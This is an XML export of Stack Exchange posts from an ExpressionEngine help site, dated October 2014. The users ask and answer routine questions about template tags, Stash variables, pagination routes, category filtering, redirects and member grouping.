  <row Id="26201" PostTypeId="1" CreationDate="2014-10-14T02:08:38.113" Score="1" ViewCount="104" Body="&lt;p&gt;Is there a way to not show the incomplete orders in the Store control panel? Currently it shows ever cart created, which adds up to quite a bit of not so useful info to delete.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2016-05-23T13:39:47.100" Title="Don't display incomplete orders in Control Panel" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26202" PostTypeId="1" CreationDate="2014-10-14T05:44:46.270" Score="0" ViewCount="327" Body="&lt;p&gt;I'm using Low Seg2Cat and I'm trying to display a list of entries by their Category Name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I use the category id I can pull the entries, however using the Category name is a no go. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;off&quot; category=&quot;    &#xA;{segment_3_category_name}&quot; status=&quot;open&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the URL I'm using. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/index.php/group/template_name/category_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've the latest version of seg2cat and set the extension to &quot;search all sites.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="2826" LastEditDate="2014-10-14T05:51:09.427" LastActivityDate="2014-11-13T22:04:48.740" Title="Displaying Entries by Category name not working" Tags="|categories|segments|low-seg2cat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26203" PostTypeId="2" ParentId="26202" CreationDate="2014-10-14T07:30:01.577" Score="1" Body="&lt;p&gt;If you're using lows Seg2cat you can use &lt;code&gt;{segment_3_category_id}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE can only use an id parameter in the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;off&quot; category=&quot;{segment_3_category_id}&quot; status=&quot;open&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this cool? Don't really 'get' your issue?&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="343" LastEditDate="2014-10-14T19:52:34.027" LastActivityDate="2014-10-14T19:52:34.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26205" PostTypeId="2" ParentId="26192" CreationDate="2014-10-14T08:10:09.310" Score="1" Body="&lt;p&gt;I think you can do this with standard OpenGraph meta tags. Just create a meta tag for each image in your entry and Facebook will handle the rest. I'm not sure it will create an &quot;album&quot; but it should attach all images to the shared post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://yourdomain.com/full/path/to/your/image.jpg&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://yourdomain.com/full/path/to/your/image2.jpg&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://yourdomain.com/full/path/to/your/image3.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the documentation here &lt;a href=&quot;http://ogp.me/#array&quot; rel=&quot;nofollow&quot;&gt;http://ogp.me/#array&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-14T08:10:09.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26207" PostTypeId="1" AcceptedAnswerId="26247" CreationDate="2014-10-14T10:10:02.477" Score="0" ViewCount="31" Body="&lt;p&gt;I'm struggling with a concept in EE, and indeed explaining it, but what I need is essentially a way to group members so, for example, I'd have a group called Google then other members could be assigned to it. This would allow for content on the front end to be shown only to those that are part of that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use member groups for this as I still need those for permission based things. I've looked at using AB Member Categories and this would be okay however it doesn't appear to be flexible enough when it comes to displaying entries from a specific category (group) based on the id/username of the person who is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Groups / Members:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Google&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member 1&lt;/li&gt;&#xA;&lt;li&gt;Member 2&lt;/li&gt;&#xA;&lt;li&gt;Member 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;StackExchange&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member 4&lt;/li&gt;&#xA;&lt;li&gt;Member 5&lt;/li&gt;&#xA;&lt;li&gt;Member 6&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facebook&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Member 7&lt;/li&gt;&#xA;&lt;li&gt;Member 8&lt;/li&gt;&#xA;&lt;li&gt;Member 9&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If Member 4 logs into the site then they will only see content linked to StackExchange, however if Member 2 logs in then they will only see Google related content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help out at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-10-15T14:57:05.323" Title="Issue with grouping members in EE using either AB Member Categories or an alternative" Tags="|members|member-management|member-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26208" PostTypeId="1" CreationDate="2014-10-09T22:13:41.400" Score="2" ViewCount="65" Body="&lt;p&gt;Attempting to return to different pages based on the success or failure of FreeMember Registration on Expression Engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default attribute for the return URL is &lt;code&gt;return=''&lt;/code&gt;, however I cannot seem to find any documentation relating to different return locations based on the successful or unsuccessful registering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through testing I have found that the URL within &lt;code&gt;return=''&lt;/code&gt;will appear only on a successful completion of registration, however should you make an error within any part of the registration form then the URL goes back to &lt;code&gt;index.php&lt;/code&gt; without any return path added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q. Is there a specific custom attribute whereby you can define the URL for the unsuccessful completion of the register form?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3668" OwnerDisplayName="Stuart Wickenden" LastEditorUserId="7705" LastEditDate="2018-10-02T21:32:53.570" LastActivityDate="2018-10-02T21:32:53.570" Title="ExpressionEngine FreeMember conditional return=''" Tags="|conditionals|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26209" PostTypeId="2" ParentId="21093" CreationDate="2014-10-14T10:29:24.210" Score="0" Body="&lt;p&gt;I think the issue here is that the entry_id param isn't being rendered. Have you tried something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:nocache}&#xA;  {exp:cartthrob:add_to_cart_form &#xA;    entry_id=&quot;{/stash:nocache}{product:entry_id}{stash:nocache}&quot; &#xA;  }&#xA;{/stash:nocache}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hinted at by the legend himself: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/12576#40677&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/12576#40677&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{product:entry_id}&lt;/code&gt; variable is coming in from a get_list and gets rendered onto the stash variable, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form &#xA;  entry_id=&quot;2918&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like it's working on my local, I'll update when I inevitably break it.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2014-10-14T10:29:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26211" PostTypeId="2" ParentId="22029" CreationDate="2014-10-14T14:27:17.853" Score="1" Body="&lt;p&gt;I've used this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {relationship_field parse=&quot;inward&quot;}&#xA;        {exp:store:product entry_id=&quot;{relationship_field:entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;            {price}&#xA;        {/exp:store:product}&#xA;    {/relationship_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-10-14T14:27:17.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26212" PostTypeId="1" AcceptedAnswerId="26395" CreationDate="2014-10-14T15:25:47.107" Score="0" ViewCount="67" Body="&lt;p&gt;I'm set as the Administrator on a client's discussion forum. Certain employees are set as moderators and receive email notifications. I don't want to receive the notifications as the administrator. Any way to turn this off? I searched through the menus and couldn't find anything. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-10-23T16:25:20.700" Title="Can I turn off Discussion Forum Administrator notifications?" Tags="|forum|notification|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26214" PostTypeId="1" CreationDate="2014-10-14T15:30:15.970" Score="0" ViewCount="438" Body="&lt;p&gt;I've got a blog listing template where pagination is not working as expected. I see the pagination links but when I follow one I get taken to a blank page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template routes are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjs3h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All links from listing template to single template work except for pagination links. I've also tried turning the blog/index tempalte to require segments but that also did not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog listing template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;blog&quot; limit=&quot;2&quot; dynamic=&quot;yes&quot;}&#xA;                &amp;lt;article class=&quot;post&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;media&quot;&amp;gt;&#xA;                      &amp;lt;a class=&quot;pull-right&quot; href=&quot;#&quot;&amp;gt;&#xA;                        {exp:ce_img:single src=&quot;{blog_image}&quot; width=&quot;290&quot; height=&quot;113&quot; add_dims=&quot;no&quot; attributes=&quot;class='media-object'&quot;}&#xA;                      &amp;lt;/a&amp;gt;&#xA;                      &amp;lt;div class=&quot;media-body&quot;&amp;gt;&#xA;                        &amp;lt;h4 class=&quot;media-heading&quot;&amp;gt;&amp;lt;a href=&quot;{route=&quot;blog/single&quot; blog-post=&quot;{url_title}&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;                        {if blog_copy:has_excerpt}&#xA;                            &amp;lt;p&amp;gt;{blog_copy:excerpt text_only=&quot;yes&quot;}&amp;amp;hellip;&amp;lt;/p&amp;gt;&#xA;                        {if:else}&#xA;                            {exp:eehive_hacksaw&#xA;                                words = &quot;25&quot; &#xA;                                append = &quot;&amp;amp;hellip;&quot;&#xA;                                allow=&quot;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a&amp;gt;&quot;}&#xA;                                {blog_copy}&#xA;                            {/exp:eehive_hacksaw}&#xA;                        {/if} &#xA;&#xA;                        &amp;lt;a href=&quot;{route=&quot;blog/single&quot; blog-post=&quot;{url_title}&quot;}&quot; class=&quot;readMore&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;&#xA;&#xA;                {paginate}&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                    {pagination_links}&#xA;                        &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                            {!--&#xA;                            {first_page}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/first_page}&#xA;                            --}&#xA;&#xA;                            {previous_page}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-chevron-left&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/previous_page}&#xA;&#xA;                            {page}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/page}&#xA;&#xA;                            {next_page}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-chevron-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/next_page}&#xA;&#xA;                            {!--&#xA;                            {last_page}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/last_page}&#xA;                            --}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    {/pagination_links}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/paginate}&#xA;&#xA;&#xA;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2019-08-13T21:01:25.160" Title="Template routes and Pagination - blank page" Tags="|templates|pagination|template-routes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26216" PostTypeId="2" ParentId="26214" CreationDate="2014-10-14T15:34:58.180" Score="0" Body="&lt;p&gt;Looks like I'm an idiot - forgot to put /blog/ in the template route for blog/index so it should be /blog/{pagination}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I always find the solution minutes after posting? Why?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-10-14T15:34:58.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26217" PostTypeId="1" AcceptedAnswerId="26262" CreationDate="2014-10-14T16:04:01.350" Score="0" ViewCount="162" Body="&lt;p&gt;For some reason I am not able to log into my EE Control Panel this morning. I was working on it last night without difficulty and this morning when I try and log in the username and password are cleared out of the fields and it comes back with empty fields. I have tried this in Safari and Firefox with the same result. This also happens with another user on the site. I am running EE 2.9.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am seeing an unusually long session id at the end of the URL after trying to login:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal looking URL &amp;amp; session ID: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domainname.com/admin.php?/cp/homepage?S=2eb7686aa8a34e593cc97a79ff27c30f&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com/admin.php?/cp/homepage?S=2eb7686aa8a34e593cc97a79ff27c30f&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What I am seeing with failed login: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://dev.domainanme.com/admin.php?/cp/login&amp;amp;return=Qz1hZGRvbnNfbW9kdWxlcyZhbXA7TT1zaG93X21vZHVsZV9jcCZhbXA7bW9kdWxlPXJlcHVibGljX2FuYWx5dGljcw==&quot; rel=&quot;nofollow&quot;&gt;http://dev.domainanme.com/admin.php?/cp/login&amp;amp;return=Qz1hZGRvbnNfbW9kdWxlcyZhbXA7TT1zaG93X21vZHVsZV9jcCZhbXA7bW9kdWxlPXJlcHVibGljX2FuYWx5dGljcw==&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had similar experience? If so, what is the fix?&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-10-15T00:27:49.210" LastActivityDate="2014-10-16T01:50:55.107" Title="Unable to Login" Tags="|ee2|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26220" PostTypeId="2" ParentId="24914" CreationDate="2014-10-14T16:32:59.167" Score="3" Body="&lt;p&gt;Change the lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:error:{composer:field_name}}&#xA;                        &amp;lt;strong&amp;gt;&#xA;                            Error: {freeform:error:{composer:field_name}}&#xA;                        &amp;lt;/strong&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{freeform:error:{composer:field_name}}&quot; != &quot;&quot;} &#xA;                        &amp;lt;strong&amp;gt;&#xA;                            Error: {freeform:error:{composer:field_name}}&#xA;                        &amp;lt;/strong&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the Template code. That should work.&lt;/p&gt;&#xA;" OwnerUserId="3692" LastActivityDate="2014-10-14T16:32:59.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26221" PostTypeId="1" CreationDate="2014-10-14T17:00:30.380" Score="0" ViewCount="114" Body="&lt;p&gt;Is it possible to access the ordered list properties field in Wygwam?  It is not there by default and I don't see any options in the Editor Configurations dropdown that would add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am trying to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devnet.kentico.com/questions/creating-alphabetical-list-in-ckeditor&quot; rel=&quot;nofollow&quot;&gt;http://devnet.kentico.com/questions/creating-alphabetical-list-in-ckeditor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3693" LastActivityDate="2022-10-08T07:42:54.860" Title="Wygwam Ordered List Properties" Tags="|wygwam|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26223" PostTypeId="1" AcceptedAnswerId="26225" CreationDate="2014-10-14T17:52:34.563" Score="0" ViewCount="422" Body="&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect('account/not-found');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this is triggered in my extension, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: stdClassàK´cðËÛ::$flashdata&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 381&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/Chad/Repositories/hhc/site/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not using flashdata, don't care about it. Any reason this error is happening?&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2014-10-14T19:06:21.510" Title="extension error when using function&gt;redirect" Tags="|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26224" PostTypeId="1" AcceptedAnswerId="26226" CreationDate="2014-10-14T18:13:23.040" Score="0" ViewCount="702" Body="&lt;p&gt;So, I have a scenario where I'm setting a Stash variable based on a query string being passed. I'm using Mo' Variables to get the $_GET values. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Query string: /?c1=74&amp;amp;c2=81&#xA;&#xA;{exp:ifelse parse=&quot;inward&quot; parse_tags=&quot;yes&quot;}&#xA;{if get:c1}&#xA;  {exp:stash:set name=&quot;active_cat&quot; parse_tags=&quot;yes&quot;}{get:c1}{/exp:stash:set}&#xA;  {/if}&#xA;&#xA;  {if get:c2}&#xA;  {exp:stash:set name=&quot;active_cat&quot; parse_tags=&quot;yes&quot;}{get:c2}{/exp:stash:set}&#xA;  {/if}&#xA;&#xA;  {if get:c3}&#xA;  {exp:stash:set name=&quot;active_cat&quot; parse_tags=&quot;yes&quot;}{get:c3}{/exp:stash:set}&#xA;  {/if}&#xA;&#xA;  {if get:c4}&#xA;  {exp:stash:set name=&quot;active_cat&quot; parse_tags=&quot;yes&quot;}{get:c4}{/exp:stash:set}&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&#xA;Works directly: {exp:stash:get name=&quot;c2&quot; dynamic=&quot;yes&quot;}&amp;lt;br&amp;gt; // outputs 81&#xA;Stash Variable works: {exp:stash:get name=&quot;active_cat&quot; process=&quot;end&quot;} // outputs 81&#xA;&#xA;{exp:channel:entries &#xA;    channel=&quot;{stash:_channel}&quot; &#xA;    category=&quot;{exp:stash:get name='active_cat' process='end'}&quot;&#xA;    dynamic=&quot;no&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    limit=&quot;10&quot; &#xA;    parse=&quot;inward&quot;&#xA;    status=&quot;{stash:_status}&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{structure:page_url_for:{entry_id}}&quot;&amp;gt;{stash:_channel} - {stash:_status} - {title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it assigns a Stash variable 'active_cat' to c1, c2, etc. If a &quot;c4&quot; exists though, it overwrites that variable with the new value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works outside of the channel entries loop, but isn't being passed into the channel entries loop. This is in a Stash embed and there are 2 other variables passed into the loop correctly from the parent template. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-14T18:26:40.843" Title="Using Stash variable inside of channel entries loop" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26225" PostTypeId="2" ParentId="26223" CreationDate="2014-10-14T18:16:11.480" Score="1" Body="&lt;p&gt;Is that strange encoding actually displaying on the stdClass undefined property? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which hook are you using to call the extension? Something may not be setup on the object yet... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just out of curiousity, did you try ee()-&gt;functions-&gt;redirect('account/not-found'); &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2014-10-14T18:16:11.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26226" PostTypeId="2" ParentId="26224" CreationDate="2014-10-14T18:26:40.843" Score="0" Body="&lt;p&gt;So, it seems that I have to wrap the channel entries tag pair inside of {exp:stash:parse process=&quot;end&quot;}, and then remove the process='end' from the active_cat tag being passed as a parameter. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:channel:entries &#xA;    channel=&quot;{stash:_channel}&quot; &#xA;    category=&quot;{exp:stash:active_cat}&quot;&#xA;    dynamic=&quot;no&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    limit=&quot;10&quot; &#xA;    parse=&quot;inward&quot;&#xA;    status=&quot;{stash:_status}&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{structure:page_url_for:{entry_id}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-14T18:26:40.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26227" PostTypeId="2" ParentId="26223" CreationDate="2014-10-14T19:06:21.510" Score="1" Body="&lt;p&gt;If you can't get that to work consider using &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/helpers/url_helper.html&quot; rel=&quot;nofollow&quot;&gt;Codeigniter's URL Helper&lt;/a&gt;. See &lt;code&gt;redirect()&lt;/code&gt; at bottom of page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function sessions_end()&#xA;{&#xA;   $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('url');&#xA;   redirect('/account/not-found/');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-10-14T19:06:21.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26228" PostTypeId="1" CreationDate="2014-10-14T20:25:40.490" Score="0" ViewCount="96" Body="&lt;p&gt;I am using your the solspace calendar extension. I need to be able to highlight by adding a class to the td&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled the request and I came across a few results but your archived  forum seems to be not working any more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tag I can use  {if event has results} etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{display_each_day}&#xA; {day format=&quot;%j&quot;} &#xA; {/display_each_day}&lt;/p&gt;&#xA;" OwnerUserId="3018" LastActivityDate="2014-10-15T01:03:25.753" Title="Highlight days with events on solspace calendar" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26229" PostTypeId="1" CreationDate="2014-10-14T20:35:51.260" Score="1" ViewCount="314" Body="&lt;p&gt;I notice there is a line $config['install_lock'] = &quot;&quot;; in the config file but I cannot find any reference to this in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this do exactly?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2019-05-31T02:03:20.497" Title="Install lock in the config file, what does it do?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26231" PostTypeId="1" AcceptedAnswerId="26241" CreationDate="2014-10-14T21:49:45.133" Score="0" ViewCount="83" Body="&lt;p&gt;Good Afternoon EE StackExchange,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone had experience keeping their development environment in sync with production content. The problem being that a content freeze is not permissable on long-term projects, and our client insist that they need to see the latest content from production. Is this matter of dumping specific tables from the database and moving them down to development. I've seen a few strategies, but all of them seemed overly manual and not in line with just moving content. To be short, I am looking for a strategy to move content from Production to development, after changes have been made to development (so overwriting the database is not an option). Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="3684" LastEditorUserId="3684" LastEditDate="2014-10-15T01:20:19.913" LastActivityDate="2014-10-15T08:54:24.413" Title="Keeping content synced in development" Tags="|development|workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26233" PostTypeId="1" AcceptedAnswerId="26235" CreationDate="2014-10-14T22:13:06.730" Score="0" ViewCount="50" Body="&lt;p&gt;Client has a podcast feed that up until now has been a manually edited XML file on their server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to move this into EE so that they don't need to touch the server directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this was a manual XML edit, the file was at /media/podcast.xml &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting to EE /media/podcast works just grand, however, for those still looking at /media/podcast.xml - they get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to route those users to the /media/podcast url ?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-10-15T00:12:15.497" Title="append .xml to EE template" Tags="|url|htaccess|routing|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
